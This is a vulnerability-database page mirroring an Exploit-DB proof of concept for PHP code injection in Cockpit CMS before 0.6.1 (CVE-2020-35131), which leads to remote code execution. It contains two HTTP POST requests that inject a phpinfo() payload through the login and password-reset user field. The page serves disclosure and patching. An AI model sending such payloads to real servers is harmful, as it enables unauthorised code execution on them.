Lucene search
+L

Cockpit CMS 0.6.1 - Remote Code Execution (RCE)

🗓️ 07 Jan 2021 00:00:00Reported by Rafael ResendeType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 813 Views

Cockpit CMS 0.6.1 - Remote Code Execution via registerCriteriaFunction in lib/MongoLite/Database.php. Allows attackers to execute malicious codes to get access to the server. Update to versions >= 0.6.1

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2020-35131
8 Jan 202120:41
–circl
cnnvd
CNNVD
Cockpit code injection vulnerability
8 Jan 202100:00
–cnnvd
cnvd
CNVD
Cockpit Code Injection Vulnerability
12 Jan 202100:00
–cnvd
checkpoint_advisories
Check Point Advisories
Cockpit CMS Remote Code Execution (CVE-2020-35131)
22 Feb 202100:00
–checkpoint_advisories
cve
CVE
CVE-2020-35131
8 Jan 202116:09
–cve
cvelist
Cvelist
CVE-2020-35131
8 Jan 202116:09
–cvelist
mend
Mend
CVE-2020-35131
8 Jan 202116:09
–mend
nuclei
Nuclei
Cockpit CMS 0.6.1 - Remote Code Execution
24 Nov 202602:03
–nuclei
nvd
NVD
CVE-2020-35131
8 Jan 202117:15
–nvd
osv_cve
osv_cve
CVE-2020-35131
8 Jan 202117:15
–osv_cve
Rows per page
# Cockpit CMS 0.6.1 - Remote Code Execution
# Product: Cockpit CMS (https://getcockpit.com)
# Version: Cockpit CMS < 0.6.1
# Vulnerability Type: PHP Code Execution
# Exploit Author: Rafael Resende
# Attack Type: Remote
# Vulnerability Description
# Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php. Disclosed 2020-01-06.

# Exploit Login
  POST /auth/check HTTP/1.1
  Host: example.com
  User-Agent: Mozilla/5.0
  Content-Type: application/json; charset=UTF-8
  Content-Length: 52
  Origin: https://example.com

  {"auth":{"user":"test'.phpinfo().'","password":"b"}}

# Exploit Password reset
  POST /auth/requestreset HTTP/1.1
  Host: example.com
  User-Agent: Mozilla/5.0
  Content-Type: application/json; charset=UTF-8
  Content-Length: 28
  Origin: https://example.com

  {"user":"test'.phpinfo().'"}

## Impact
Allows attackers to execute malicious codes to get access to the server.

## Fix
Update to versions >= 0.6.1

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.77818
813